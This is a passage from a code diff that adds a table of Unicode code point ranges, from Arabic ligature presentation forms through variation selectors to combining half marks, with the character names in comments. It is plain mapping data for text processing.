+ [0xfce4, 0xfce4], /* ARABIC LIGATURE TEH WITH HEH MEDIAL FORM */
+ [0xfce5, 0xfce5], /* ARABIC LIGATURE THEH WITH MEEM MEDIAL FORM */
+ [0xfce6, 0xfce6], /* ARABIC LIGATURE THEH WITH HEH MEDIAL FORM */
+ [0xfce7, 0xfce7], /* ARABIC LIGATURE SEEN WITH MEEM MEDIAL FORM */
+ [0xfce8, 0xfce8], /* ARABIC LIGATURE SEEN WITH HEH MEDIAL FORM */
+ [0xfce9, 0xfce9], /* ARABIC LIGATURE SHEEN WITH MEEM MEDIAL FORM */
+ [0xfcea, 0xfcea], /* ARABIC LIGATURE SHEEN WITH HEH MEDIAL FORM */
+ [0xfceb, 0xfceb], /* ARABIC LIGATURE KAF WITH LAM MEDIAL FORM */
+ [0xfcec, 0xfcec], /* ARABIC LIGATURE KAF WITH MEEM MEDIAL FORM */
+ [0xfced, 0xfced], /* ARABIC LIGATURE LAM WITH MEEM MEDIAL FORM */
+ [0xfcee, 0xfcee], /* ARABIC LIGATURE NOON WITH MEEM MEDIAL FORM */
+ [0xfcef, 0xfcef], /* ARABIC LIGATURE NOON WITH HEH MEDIAL FORM */
+ [0xfcf0, 0xfcf0], /* ARABIC LIGATURE YEH WITH MEEM MEDIAL FORM */
+ [0xfcf1, 0xfcf1], /* ARABIC LIGATURE YEH WITH HEH MEDIAL FORM */
+ [0xfcf2, 0xfcf2], /* ARABIC LIGATURE SHADDA WITH FATHA MEDIAL FORM */
+ [0xfcf3, 0xfcf3], /* ARABIC LIGATURE SHADDA WITH DAMMA MEDIAL FORM */
+ [0xfcf4, 0xfcf4], /* ARABIC LIGATURE SHADDA WITH KASRA MEDIAL FORM */
+ [0xfcf5, 0xfcf5], /* ARABIC LIGATURE TAH WITH ALEF MAKSURA ISOLATED FORM */
+ [0xfcf6, 0xfcf6], /* ARABIC LIGATURE TAH WITH YEH ISOLATED FORM */
+ [0xfcf7, 0xfcf7], /* ARABIC LIGATURE AIN WITH ALEF MAKSURA ISOLATED FORM */
+ [0xfcf8, 0xfcf8], /* ARABIC LIGATURE AIN WITH YEH ISOLATED FORM */
+ [0xfcf9, 0xfcf9], /* ARABIC LIGATURE GHAIN WITH ALEF MAKSURA ISOLATED FORM */
+ [0xfcfa, 0xfcfa], /* ARABIC LIGATURE GHAIN WITH YEH ISOLATED FORM */
+ [0xfcfb, 0xfcfb], /* ARABIC LIGATURE SEEN WITH ALEF MAKSURA ISOLATED FORM */
+ [0xfcfc, 0xfcfc], /* ARABIC LIGATURE SEEN WITH YEH ISOLATED FORM */
+ [0xfcfd, 0xfcfd], /* ARABIC LIGATURE SHEEN WITH ALEF MAKSURA ISOLATED FORM */
+ [0xfcfe, 0xfcfe], /* ARABIC LIGATURE SHEEN WITH YEH ISOLATED FORM */
+ [0xfcff, 0xfcff], /* ARABIC LIGATURE HAH WITH ALEF MAKSURA ISOLATED FORM */
+ [0xfd00, 0xfd00], /* ARABIC LIGATURE HAH WITH YEH ISOLATED FORM */
+ [0xfd01, 0xfd01], /* ARABIC LIGATURE JEEM WITH ALEF MAKSURA ISOLATED FORM */
+ [0xfd02, 0xfd02], /* ARABIC LIGATURE JEEM WITH YEH ISOLATED FORM */
+ [0xfd03, 0xfd03], /* ARABIC LIGATURE KHAH WITH ALEF MAKSURA ISOLATED FORM */
+ [0xfd04, 0xfd04], /* ARABIC LIGATURE KHAH WITH YEH ISOLATED FORM */
+ [0xfd05, 0xfd05], /* ARABIC LIGATURE SAD WITH ALEF MAKSURA ISOLATED FORM */
+ [0xfd06, 0xfd06], /* ARABIC LIGATURE SAD WITH YEH ISOLATED FORM */
+ [0xfd07, 0xfd07], /* ARABIC LIGATURE DAD WITH ALEF MAKSURA ISOLATED FORM */
+ [0xfd08, 0xfd08], /* ARABIC LIGATURE DAD WITH YEH ISOLATED FORM */
+ [0xfd09, 0xfd09], /* ARABIC LIGATURE SHEEN WITH JEEM ISOLATED FORM */
+ [0xfd0a, 0xfd0a], /* ARABIC LIGATURE SHEEN WITH HAH ISOLATED FORM */
+ [0xfd0b, 0xfd0b], /* ARABIC LIGATURE SHEEN WITH KHAH ISOLATED FORM */
+ [0xfd0c, 0xfd0c], /* ARABIC LIGATURE SHEEN WITH MEEM ISOLATED FORM */
+ [0xfd0d, 0xfd0d], /* ARABIC LIGATURE SHEEN WITH REH ISOLATED FORM */
+ [0xfd0e, 0xfd0e], /* ARABIC LIGATURE SEEN WITH REH ISOLATED FORM */
+ [0xfd0f, 0xfd0f], /* ARABIC LIGATURE SAD WITH REH ISOLATED FORM */
+ [0xfd10, 0xfd10], /* ARABIC LIGATURE DAD WITH REH ISOLATED FORM */
+ [0xfd11, 0xfd11], /* ARABIC LIGATURE TAH WITH ALEF MAKSURA FINAL FORM */
+ [0xfd12, 0xfd12], /* ARABIC LIGATURE TAH WITH YEH FINAL FORM */
+ [0xfd13, 0xfd13], /* ARABIC LIGATURE AIN WITH ALEF MAKSURA FINAL FORM */
+ [0xfd14, 0xfd14], /* ARABIC LIGATURE AIN WITH YEH FINAL FORM */
+ [0xfd15, 0xfd15], /* ARABIC LIGATURE GHAIN WITH ALEF MAKSURA FINAL FORM */
+ [0xfd16, 0xfd16], /* ARABIC LIGATURE GHAIN WITH YEH FINAL FORM */
+ [0xfd17, 0xfd17], /* ARABIC LIGATURE SEEN WITH ALEF MAKSURA FINAL FORM */
+ [0xfd18, 0xfd18], /* ARABIC LIGATURE SEEN WITH YEH FINAL FORM */
+ [0xfd19, 0xfd19], /* ARABIC LIGATURE SHEEN WITH ALEF MAKSURA FINAL FORM */
+ [0xfd1a, 0xfd1a], /* ARABIC LIGATURE SHEEN WITH YEH FINAL FORM */
+ [0xfd1b, 0xfd1b], /* ARABIC LIGATURE HAH WITH ALEF MAKSURA FINAL FORM */
+ [0xfd1c, 0xfd1c], /* ARABIC LIGATURE HAH WITH YEH FINAL FORM */
+ [0xfd1d, 0xfd1d], /* ARABIC LIGATURE JEEM WITH ALEF MAKSURA FINAL FORM */
+ [0xfd1e, 0xfd1e], /* ARABIC LIGATURE JEEM WITH YEH FINAL FORM */
+ [0xfd1f, 0xfd1f], /* ARABIC LIGATURE KHAH WITH ALEF MAKSURA FINAL FORM */
+ [0xfd20, 0xfd20], /* ARABIC LIGATURE KHAH WITH YEH FINAL FORM */
+ [0xfd21, 0xfd21], /* ARABIC LIGATURE SAD WITH ALEF MAKSURA FINAL FORM */
+ [0xfd22, 0xfd22], /* ARABIC LIGATURE SAD WITH YEH FINAL FORM */
+ [0xfd23, 0xfd23], /* ARABIC LIGATURE DAD WITH ALEF MAKSURA FINAL FORM */
+ [0xfd24, 0xfd24], /* ARABIC LIGATURE DAD WITH YEH FINAL FORM */
+ [0xfd25, 0xfd25], /* ARABIC LIGATURE SHEEN WITH JEEM FINAL FORM */
+ [0xfd26, 0xfd26], /* ARABIC LIGATURE SHEEN WITH HAH FINAL FORM */
+ [0xfd27, 0xfd27], /* ARABIC LIGATURE SHEEN WITH KHAH FINAL FORM */
+ [0xfd28, 0xfd28], /* ARABIC LIGATURE SHEEN WITH MEEM FINAL FORM */
+ [0xfd29, 0xfd29], /* ARABIC LIGATURE SHEEN WITH REH FINAL FORM */
+ [0xfd2a, 0xfd2a], /* ARABIC LIGATURE SEEN WITH REH FINAL FORM */
+ [0xfd2b, 0xfd2b], /* ARABIC LIGATURE SAD WITH REH FINAL FORM */
+ [0xfd2c, 0xfd2c], /* ARABIC LIGATURE DAD WITH REH FINAL FORM */
+ [0xfd2d, 0xfd2d], /* ARABIC LIGATURE SHEEN WITH JEEM INITIAL FORM */
+ [0xfd2e, 0xfd2e], /* ARABIC LIGATURE SHEEN WITH HAH INITIAL FORM */
+ [0xfd2f, 0xfd2f], /* ARABIC LIGATURE SHEEN WITH KHAH INITIAL FORM */
+ [0xfd30, 0xfd30], /* ARABIC LIGATURE SHEEN WITH MEEM INITIAL FORM */
+ [0xfd31, 0xfd31], /* ARABIC LIGATURE SEEN WITH HEH INITIAL FORM */
+ [0xfd32, 0xfd32], /* ARABIC LIGATURE SHEEN WITH HEH INITIAL FORM */
+ [0xfd33, 0xfd33], /* ARABIC LIGATURE TAH WITH MEEM INITIAL FORM */
+ [0xfd34, 0xfd34], /* ARABIC LIGATURE SEEN WITH JEEM MEDIAL FORM */
+ [0xfd35, 0xfd35], /* ARABIC LIGATURE SEEN WITH HAH MEDIAL FORM */
+ [0xfd36, 0xfd36], /* ARABIC LIGATURE SEEN WITH KHAH MEDIAL FORM */
+ [0xfd37, 0xfd37], /* ARABIC LIGATURE SHEEN WITH JEEM MEDIAL FORM */
+ [0xfd38, 0xfd38], /* ARABIC LIGATURE SHEEN WITH HAH MEDIAL FORM */
+ [0xfd39, 0xfd39], /* ARABIC LIGATURE SHEEN WITH KHAH MEDIAL FORM */
+ [0xfd3a, 0xfd3a], /* ARABIC LIGATURE TAH WITH MEEM MEDIAL FORM */
+ [0xfd3b, 0xfd3b], /* ARABIC LIGATURE ZAH WITH MEEM MEDIAL FORM */
+ [0xfd3c, 0xfd3c], /* ARABIC LIGATURE ALEF WITH FATHATAN FINAL FORM */
+ [0xfd3d, 0xfd3d], /* ARABIC LIGATURE ALEF WITH FATHATAN ISOLATED FORM */
+ [0xfd3e, 0xfd3e], /* ORNATE LEFT PARENTHESIS */
+ [0xfd3f, 0xfd3f], /* ORNATE RIGHT PARENTHESIS */
+ [0xfd40, 0xfd40],
+ [0xfd41, 0xfd41],
+ [0xfd42, 0xfd42],
+ [0xfd43, 0xfd43],
+ [0xfd44, 0xfd44],
+ [0xfd45, 0xfd45],
+ [0xfd46, 0xfd46],
+ [0xfd47, 0xfd47],
+ [0xfd48, 0xfd48],
+ [0xfd49, 0xfd49],
+ [0xfd4a, 0xfd4a],
+ [0xfd4b, 0xfd4b],
+ [0xfd4c, 0xfd4c],
+ [0xfd4d, 0xfd4d],
+ [0xfd4e, 0xfd4e],
+ [0xfd4f, 0xfd4f],
+ [0xfd50, 0xfd50], /* ARABIC LIGATURE TEH WITH JEEM WITH MEEM INITIAL FORM */
+ [0xfd51, 0xfd51], /* ARABIC LIGATURE TEH WITH HAH WITH JEEM FINAL FORM */
+ [0xfd52, 0xfd52], /* ARABIC LIGATURE TEH WITH HAH WITH JEEM INITIAL FORM */
+ [0xfd53, 0xfd53], /* ARABIC LIGATURE TEH WITH HAH WITH MEEM INITIAL FORM */
+ [0xfd54, 0xfd54], /* ARABIC LIGATURE TEH WITH KHAH WITH MEEM INITIAL FORM */
+ [0xfd55, 0xfd55], /* ARABIC LIGATURE TEH WITH MEEM WITH JEEM INITIAL FORM */
+ [0xfd56, 0xfd56], /* ARABIC LIGATURE TEH WITH MEEM WITH HAH INITIAL FORM */
+ [0xfd57, 0xfd57], /* ARABIC LIGATURE TEH WITH MEEM WITH KHAH INITIAL FORM */
+ [0xfd58, 0xfd58], /* ARABIC LIGATURE JEEM WITH MEEM WITH HAH FINAL FORM */
+ [0xfd59, 0xfd59], /* ARABIC LIGATURE JEEM WITH MEEM WITH HAH INITIAL FORM */
+ [0xfd5a, 0xfd5a], /* ARABIC LIGATURE HAH WITH MEEM WITH YEH FINAL FORM */
+ [0xfd5b, 0xfd5b], /* ARABIC LIGATURE HAH WITH MEEM WITH ALEF MAKSURA FINAL FORM */
+ [0xfd5c, 0xfd5c], /* ARABIC LIGATURE SEEN WITH HAH WITH JEEM INITIAL FORM */
+ [0xfd5d, 0xfd5d], /* ARABIC LIGATURE SEEN WITH JEEM WITH HAH INITIAL FORM */
+ [0xfd5e, 0xfd5e], /* ARABIC LIGATURE SEEN WITH JEEM WITH ALEF MAKSURA FINAL FORM */
+ [0xfd5f, 0xfd5f], /* ARABIC LIGATURE SEEN WITH MEEM WITH HAH FINAL FORM */
+ [0xfd60, 0xfd60], /* ARABIC LIGATURE SEEN WITH MEEM WITH HAH INITIAL FORM */
+ [0xfd61, 0xfd61], /* ARABIC LIGATURE SEEN WITH MEEM WITH JEEM INITIAL FORM */
+ [0xfd62, 0xfd62], /* ARABIC LIGATURE SEEN WITH MEEM WITH MEEM FINAL FORM */
+ [0xfd63, 0xfd63], /* ARABIC LIGATURE SEEN WITH MEEM WITH MEEM INITIAL FORM */
+ [0xfd64, 0xfd64], /* ARABIC LIGATURE SAD WITH HAH WITH HAH FINAL FORM */
+ [0xfd65, 0xfd65], /* ARABIC LIGATURE SAD WITH HAH WITH HAH INITIAL FORM */
+ [0xfd66, 0xfd66], /* ARABIC LIGATURE SAD WITH MEEM WITH MEEM FINAL FORM */
+ [0xfd67, 0xfd67], /* ARABIC LIGATURE SHEEN WITH HAH WITH MEEM FINAL FORM */
+ [0xfd68, 0xfd68], /* ARABIC LIGATURE SHEEN WITH HAH WITH MEEM INITIAL FORM */
+ [0xfd69, 0xfd69], /* ARABIC LIGATURE SHEEN WITH JEEM WITH YEH FINAL FORM */
+ [0xfd6a, 0xfd6a], /* ARABIC LIGATURE SHEEN WITH MEEM WITH KHAH FINAL FORM */
+ [0xfd6b, 0xfd6b], /* ARABIC LIGATURE SHEEN WITH MEEM WITH KHAH INITIAL FORM */
+ [0xfd6c, 0xfd6c], /* ARABIC LIGATURE SHEEN WITH MEEM WITH MEEM FINAL FORM */
+ [0xfd6d, 0xfd6d], /* ARABIC LIGATURE SHEEN WITH MEEM WITH MEEM INITIAL FORM */
+ [0xfd6e, 0xfd6e], /* ARABIC LIGATURE DAD WITH HAH WITH ALEF MAKSURA FINAL FORM */
+ [0xfd6f, 0xfd6f], /* ARABIC LIGATURE DAD WITH KHAH WITH MEEM FINAL FORM */
+ [0xfd70, 0xfd70], /* ARABIC LIGATURE DAD WITH KHAH WITH MEEM INITIAL FORM */
+ [0xfd71, 0xfd71], /* ARABIC LIGATURE TAH WITH MEEM WITH HAH FINAL FORM */
+ [0xfd72, 0xfd72], /* ARABIC LIGATURE TAH WITH MEEM WITH HAH INITIAL FORM */
+ [0xfd73, 0xfd73], /* ARABIC LIGATURE TAH WITH MEEM WITH MEEM INITIAL FORM */
+ [0xfd74, 0xfd74], /* ARABIC LIGATURE TAH WITH MEEM WITH YEH FINAL FORM */
+ [0xfd75, 0xfd75], /* ARABIC LIGATURE AIN WITH JEEM WITH MEEM FINAL FORM */
+ [0xfd76, 0xfd76], /* ARABIC LIGATURE AIN WITH MEEM WITH MEEM FINAL FORM */
+ [0xfd77, 0xfd77], /* ARABIC LIGATURE AIN WITH MEEM WITH MEEM INITIAL FORM */
+ [0xfd78, 0xfd78], /* ARABIC LIGATURE AIN WITH MEEM WITH ALEF MAKSURA FINAL FORM */
+ [0xfd79, 0xfd79], /* ARABIC LIGATURE GHAIN WITH MEEM WITH MEEM FINAL FORM */
+ [0xfd7a, 0xfd7a], /* ARABIC LIGATURE GHAIN WITH MEEM WITH YEH FINAL FORM */
+ [0xfd7b, 0xfd7b], /* ARABIC LIGATURE GHAIN WITH MEEM WITH ALEF MAKSURA FINAL FORM */
+ [0xfd7c, 0xfd7c], /* ARABIC LIGATURE FEH WITH KHAH WITH MEEM FINAL FORM */
+ [0xfd7d, 0xfd7d], /* ARABIC LIGATURE FEH WITH KHAH WITH MEEM INITIAL FORM */
+ [0xfd7e, 0xfd7e], /* ARABIC LIGATURE QAF WITH MEEM WITH HAH FINAL FORM */
+ [0xfd7f, 0xfd7f], /* ARABIC LIGATURE QAF WITH MEEM WITH MEEM FINAL FORM */
+ [0xfd80, 0xfd80], /* ARABIC LIGATURE LAM WITH HAH WITH MEEM FINAL FORM */
+ [0xfd81, 0xfd81], /* ARABIC LIGATURE LAM WITH HAH WITH YEH FINAL FORM */
+ [0xfd82, 0xfd82], /* ARABIC LIGATURE LAM WITH HAH WITH ALEF MAKSURA FINAL FORM */
+ [0xfd83, 0xfd83], /* ARABIC LIGATURE LAM WITH JEEM WITH JEEM INITIAL FORM */
+ [0xfd84, 0xfd84], /* ARABIC LIGATURE LAM WITH JEEM WITH JEEM FINAL FORM */
+ [0xfd85, 0xfd85], /* ARABIC LIGATURE LAM WITH KHAH WITH MEEM FINAL FORM */
+ [0xfd86, 0xfd86], /* ARABIC LIGATURE LAM WITH KHAH WITH MEEM INITIAL FORM */
+ [0xfd87, 0xfd87], /* ARABIC LIGATURE LAM WITH MEEM WITH HAH FINAL FORM */
+ [0xfd88, 0xfd88], /* ARABIC LIGATURE LAM WITH MEEM WITH HAH INITIAL FORM */
+ [0xfd89, 0xfd89], /* ARABIC LIGATURE MEEM WITH HAH WITH JEEM INITIAL FORM */
+ [0xfd8a, 0xfd8a], /* ARABIC LIGATURE MEEM WITH HAH WITH MEEM INITIAL FORM */
+ [0xfd8b, 0xfd8b], /* ARABIC LIGATURE MEEM WITH HAH WITH YEH FINAL FORM */
+ [0xfd8c, 0xfd8c], /* ARABIC LIGATURE MEEM WITH JEEM WITH HAH INITIAL FORM */
+ [0xfd8d, 0xfd8d], /* ARABIC LIGATURE MEEM WITH JEEM WITH MEEM INITIAL FORM */
+ [0xfd8e, 0xfd8e], /* ARABIC LIGATURE MEEM WITH KHAH WITH JEEM INITIAL FORM */
+ [0xfd8f, 0xfd8f], /* ARABIC LIGATURE MEEM WITH KHAH WITH MEEM INITIAL FORM */
+ [0xfd90, 0xfd90],
+ [0xfd91, 0xfd91],
+ [0xfd92, 0xfd92], /* ARABIC LIGATURE MEEM WITH JEEM WITH KHAH INITIAL FORM */
+ [0xfd93, 0xfd93], /* ARABIC LIGATURE HEH WITH MEEM WITH JEEM INITIAL FORM */
+ [0xfd94, 0xfd94], /* ARABIC LIGATURE HEH WITH MEEM WITH MEEM INITIAL FORM */
+ [0xfd95, 0xfd95], /* ARABIC LIGATURE NOON WITH HAH WITH MEEM INITIAL FORM */
+ [0xfd96, 0xfd96], /* ARABIC LIGATURE NOON WITH HAH WITH ALEF MAKSURA FINAL FORM */
+ [0xfd97, 0xfd97], /* ARABIC LIGATURE NOON WITH JEEM WITH MEEM FINAL FORM */
+ [0xfd98, 0xfd98], /* ARABIC LIGATURE NOON WITH JEEM WITH MEEM INITIAL FORM */
+ [0xfd99, 0xfd99], /* ARABIC LIGATURE NOON WITH JEEM WITH ALEF MAKSURA FINAL FORM */
+ [0xfd9a, 0xfd9a], /* ARABIC LIGATURE NOON WITH MEEM WITH YEH FINAL FORM */
+ [0xfd9b, 0xfd9b], /* ARABIC LIGATURE NOON WITH MEEM WITH ALEF MAKSURA FINAL FORM */
+ [0xfd9c, 0xfd9c], /* ARABIC LIGATURE YEH WITH MEEM WITH MEEM FINAL FORM */
+ [0xfd9d, 0xfd9d], /* ARABIC LIGATURE YEH WITH MEEM WITH MEEM INITIAL FORM */
+ [0xfd9e, 0xfd9e], /* ARABIC LIGATURE BEH WITH KHAH WITH YEH FINAL FORM */
+ [0xfd9f, 0xfd9f], /* ARABIC LIGATURE TEH WITH JEEM WITH YEH FINAL FORM */
+ [0xfda0, 0xfda0], /* ARABIC LIGATURE TEH WITH JEEM WITH ALEF MAKSURA FINAL FORM */
+ [0xfda1, 0xfda1], /* ARABIC LIGATURE TEH WITH KHAH WITH YEH FINAL FORM */
+ [0xfda2, 0xfda2], /* ARABIC LIGATURE TEH WITH KHAH WITH ALEF MAKSURA FINAL FORM */
+ [0xfda3, 0xfda3], /* ARABIC LIGATURE TEH WITH MEEM WITH YEH FINAL FORM */
+ [0xfda4, 0xfda4], /* ARABIC LIGATURE TEH WITH MEEM WITH ALEF MAKSURA FINAL FORM */
+ [0xfda5, 0xfda5], /* ARABIC LIGATURE JEEM WITH MEEM WITH YEH FINAL FORM */
+ [0xfda6, 0xfda6], /* ARABIC LIGATURE JEEM WITH HAH WITH ALEF MAKSURA FINAL FORM */
+ [0xfda7, 0xfda7], /* ARABIC LIGATURE JEEM WITH MEEM WITH ALEF MAKSURA FINAL FORM */
+ [0xfda8, 0xfda8], /* ARABIC LIGATURE SEEN WITH KHAH WITH ALEF MAKSURA FINAL FORM */
+ [0xfda9, 0xfda9], /* ARABIC LIGATURE SAD WITH HAH WITH YEH FINAL FORM */
+ [0xfdaa, 0xfdaa], /* ARABIC LIGATURE SHEEN WITH HAH WITH YEH FINAL FORM */
+ [0xfdab, 0xfdab], /* ARABIC LIGATURE DAD WITH HAH WITH YEH FINAL FORM */
+ [0xfdac, 0xfdac], /* ARABIC LIGATURE LAM WITH JEEM WITH YEH FINAL FORM */
+ [0xfdad, 0xfdad], /* ARABIC LIGATURE LAM WITH MEEM WITH YEH FINAL FORM */
+ [0xfdae, 0xfdae], /* ARABIC LIGATURE YEH WITH HAH WITH YEH FINAL FORM */
+ [0xfdaf, 0xfdaf], /* ARABIC LIGATURE YEH WITH JEEM WITH YEH FINAL FORM */
+ [0xfdb0, 0xfdb0], /* ARABIC LIGATURE YEH WITH MEEM WITH YEH FINAL FORM */
+ [0xfdb1, 0xfdb1], /* ARABIC LIGATURE MEEM WITH MEEM WITH YEH FINAL FORM */
+ [0xfdb2, 0xfdb2], /* ARABIC LIGATURE QAF WITH MEEM WITH YEH FINAL FORM */
+ [0xfdb3, 0xfdb3], /* ARABIC LIGATURE NOON WITH HAH WITH YEH FINAL FORM */
+ [0xfdb4, 0xfdb4], /* ARABIC LIGATURE QAF WITH MEEM WITH HAH INITIAL FORM */
+ [0xfdb5, 0xfdb5], /* ARABIC LIGATURE LAM WITH HAH WITH MEEM INITIAL FORM */
+ [0xfdb6, 0xfdb6], /* ARABIC LIGATURE AIN WITH MEEM WITH YEH FINAL FORM */
+ [0xfdb7, 0xfdb7], /* ARABIC LIGATURE KAF WITH MEEM WITH YEH FINAL FORM */
+ [0xfdb8, 0xfdb8], /* ARABIC LIGATURE NOON WITH JEEM WITH HAH INITIAL FORM */
+ [0xfdb9, 0xfdb9], /* ARABIC LIGATURE MEEM WITH KHAH WITH YEH FINAL FORM */
+ [0xfdba, 0xfdba], /* ARABIC LIGATURE LAM WITH JEEM WITH MEEM INITIAL FORM */
+ [0xfdbb, 0xfdbb], /* ARABIC LIGATURE KAF WITH MEEM WITH MEEM FINAL FORM */
+ [0xfdbc, 0xfdbc], /* ARABIC LIGATURE LAM WITH JEEM WITH MEEM FINAL FORM */
+ [0xfdbd, 0xfdbd], /* ARABIC LIGATURE NOON WITH JEEM WITH HAH FINAL FORM */
+ [0xfdbe, 0xfdbe], /* ARABIC LIGATURE JEEM WITH HAH WITH YEH FINAL FORM */
+ [0xfdbf, 0xfdbf], /* ARABIC LIGATURE HAH WITH JEEM WITH YEH FINAL FORM */
+ [0xfdc0, 0xfdc0], /* ARABIC LIGATURE MEEM WITH JEEM WITH YEH FINAL FORM */
+ [0xfdc1, 0xfdc1], /* ARABIC LIGATURE FEH WITH MEEM WITH YEH FINAL FORM */
+ [0xfdc2, 0xfdc2], /* ARABIC LIGATURE BEH WITH HAH WITH YEH FINAL FORM */
+ [0xfdc3, 0xfdc3], /* ARABIC LIGATURE KAF WITH MEEM WITH MEEM INITIAL FORM */
+ [0xfdc4, 0xfdc4], /* ARABIC LIGATURE AIN WITH JEEM WITH MEEM INITIAL FORM */
+ [0xfdc5, 0xfdc5], /* ARABIC LIGATURE SAD WITH MEEM WITH MEEM INITIAL FORM */
+ [0xfdc6, 0xfdc6], /* ARABIC LIGATURE SEEN WITH KHAH WITH YEH FINAL FORM */
+ [0xfdc7, 0xfdc7], /* ARABIC LIGATURE NOON WITH JEEM WITH YEH FINAL FORM */
+ [0xfdc8, 0xfdc8],
+ [0xfdc9, 0xfdc9],
+ [0xfdca, 0xfdca],
+ [0xfdcb, 0xfdcb],
+ [0xfdcc, 0xfdcc],
+ [0xfdcd, 0xfdcd],
+ [0xfdce, 0xfdce],
+ [0xfdcf, 0xfdcf],
+ [0xfdd0, 0xfdd0],
+ [0xfdd1, 0xfdd1],
+ [0xfdd2, 0xfdd2],
+ [0xfdd3, 0xfdd3],
+ [0xfdd4, 0xfdd4],
+ [0xfdd5, 0xfdd5],
+ [0xfdd6, 0xfdd6],
+ [0xfdd7, 0xfdd7],
+ [0xfdd8, 0xfdd8],
+ [0xfdd9, 0xfdd9],
+ [0xfdda, 0xfdda],
+ [0xfddb, 0xfddb],
+ [0xfddc, 0xfddc],
+ [0xfddd, 0xfddd],
+ [0xfdde, 0xfdde],
+ [0xfddf, 0xfddf],
+ [0xfde0, 0xfde0],
+ [0xfde1, 0xfde1],
+ [0xfde2, 0xfde2],
+ [0xfde3, 0xfde3],
+ [0xfde4, 0xfde4],
+ [0xfde5, 0xfde5],
+ [0xfde6, 0xfde6],
+ [0xfde7, 0xfde7],
+ [0xfde8, 0xfde8],
+ [0xfde9, 0xfde9],
+ [0xfdea, 0xfdea],
+ [0xfdeb, 0xfdeb],
+ [0xfdec, 0xfdec],
+ [0xfded, 0xfded],
+ [0xfdee, 0xfdee],
+ [0xfdef, 0xfdef],
+ [0xfdf0, 0xfdf0], /* ARABIC LIGATURE SALLA USED AS KORANIC STOP SIGN ISOLATED FORM */
+ [0xfdf1, 0xfdf1], /* ARABIC LIGATURE QALA USED AS KORANIC STOP SIGN ISOLATED FORM */
+ [0xfdf2, 0xfdf2], /* ARABIC LIGATURE ALLAH ISOLATED FORM */
+ [0xfdf3, 0xfdf3], /* ARABIC LIGATURE AKBAR ISOLATED FORM */
+ [0xfdf4, 0xfdf4], /* ARABIC LIGATURE MOHAMMAD ISOLATED FORM */
+ [0xfdf5, 0xfdf5], /* ARABIC LIGATURE SALAM ISOLATED FORM */
+ [0xfdf6, 0xfdf6], /* ARABIC LIGATURE RASOUL ISOLATED FORM */
+ [0xfdf7, 0xfdf7], /* ARABIC LIGATURE ALAYHE ISOLATED FORM */
+ [0xfdf8, 0xfdf8], /* ARABIC LIGATURE WASALLAM ISOLATED FORM */
+ [0xfdf9, 0xfdf9], /* ARABIC LIGATURE SALLA ISOLATED FORM */
+ [0xfdfa, 0xfdfa], /* ARABIC LIGATURE SALLALLAHOU ALAYHE WASALLAM (ARABIC LETTER SALLALLAHOU ALAYHE WASALLAM) */
+ [0xfdfb, 0xfdfb], /* ARABIC LIGATURE JALLAJALALOUHOU (ARABIC LETTER JALLAJALALOUHOU) */
+ [0xfdfc, 0xfdfc], /* RIAL SIGN */
+ [0xfdfd, 0xfdfd], /* ARABIC LIGATURE BISMILLAH AR-RAHMAN AR-RAHEEM */
+ [0xfdfe, 0xfdfe],
+ [0xfdff, 0xfdff],
+ [0xfe00, 0xfe00], /* VARIATION SELECTOR-1 */
+ [0xfe01, 0xfe01], /* VARIATION SELECTOR-2 */
+ [0xfe02, 0xfe02], /* VARIATION SELECTOR-3 */
+ [0xfe03, 0xfe03], /* VARIATION SELECTOR-4 */
+ [0xfe04, 0xfe04], /* VARIATION SELECTOR-5 */
+ [0xfe05, 0xfe05], /* VARIATION SELECTOR-6 */
+ [0xfe06, 0xfe06], /* VARIATION SELECTOR-7 */
+ [0xfe07, 0xfe07], /* VARIATION SELECTOR-8 */
+ [0xfe08, 0xfe08], /* VARIATION SELECTOR-9 */
+ [0xfe09, 0xfe09], /* VARIATION SELECTOR-10 */
+ [0xfe0a, 0xfe0a], /* VARIATION SELECTOR-11 */
+ [0xfe0b, 0xfe0b], /* VARIATION SELECTOR-12 */
+ [0xfe0c, 0xfe0c], /* VARIATION SELECTOR-13 */
+ [0xfe0d, 0xfe0d], /* VARIATION SELECTOR-14 */
+ [0xfe0e, 0xfe0e], /* VARIATION SELECTOR-15 */
+ [0xfe0f, 0xfe0f], /* VARIATION SELECTOR-16 */
+ [0xfe10, 0xfe10], /* PRESENTATION FORM FOR VERTICAL COMMA */
+ [0xfe11, 0xfe11], /* PRESENTATION FORM FOR VERTICAL IDEOGRAPHIC COMMA */
+ [0xfe12, 0xfe12], /* PRESENTATION FORM FOR VERTICAL IDEOGRAPHIC FULL STOP */
+ [0xfe13, 0xfe13], /* PRESENTATION FORM FOR VERTICAL COLON */
+ [0xfe14, 0xfe14], /* PRESENTATION FORM FOR VERTICAL SEMICOLON */
+ [0xfe15, 0xfe15], /* PRESENTATION FORM FOR VERTICAL EXCLAMATION MARK */
+ [0xfe16, 0xfe16], /* PRESENTATION FORM FOR VERTICAL QUESTION MARK */
+ [0xfe17, 0xfe17], /* PRESENTATION FORM FOR VERTICAL LEFT WHITE LENTICULAR BRACKET */
+ [0xfe18, 0xfe18], /* PRESENTATION FORM FOR VERTICAL RIGHT WHITE LENTICULAR BRAKCET */
+ [0xfe19, 0xfe19], /* PRESENTATION FORM FOR VERTICAL HORIZONTAL ELLIPSIS */
+ [0xfe1a, 0xfe1a],
+ [0xfe1b, 0xfe1b],
+ [0xfe1c, 0xfe1c],
+ [0xfe1d, 0xfe1d],
+ [0xfe1e, 0xfe1e],
+ [0xfe1f, 0xfe1f],
+ [0xfe20, 0xfe20], /* COMBINING LIGATURE LEFT HALF */
+ [0xfe21, 0xfe21], /* COMBINING LIGATURE RIGHT HALF */
+ [0xfe22, 0xfe22], /* COMBINING DOUBLE TILDE LEFT HALF */
+ [0xfe23, 0xfe23], /* COMBINING DOUBLE TILDE RIGHT HALF */
+ [0xfe24, 0xfe24], /* COMBINING MACRON LEFT HALF */
+ [0xfe25, 0xfe25], /* COMBINING MACRON RIGHT HALF */
+ [0xfe26, 0xfe26], /* COMBINING CONJOINING MACRON */
+ [0xfe27, 0xfe27], /* COMBINING LIGATURE LEFT HALF BELOW */
+ [0xfe28, 0xfe28], /* COMBINING LIGATURE RIGHT HALF BELOW */
+ [0xfe29, 0xfe29], /* COMBINING TILDE LEFT HALF BELOW */
+ [0xfe2a, 0xfe2a], /* COMBINING TILDE RIGHT HALF BELOW */
+ [0xfe2b, 0xfe2b], /* COMBINING MACRON LEFT HALF BELOW */
+ [0xfe2c, 0xfe2c], /* COMBINING MACRON RIGHT HALF BELOW */
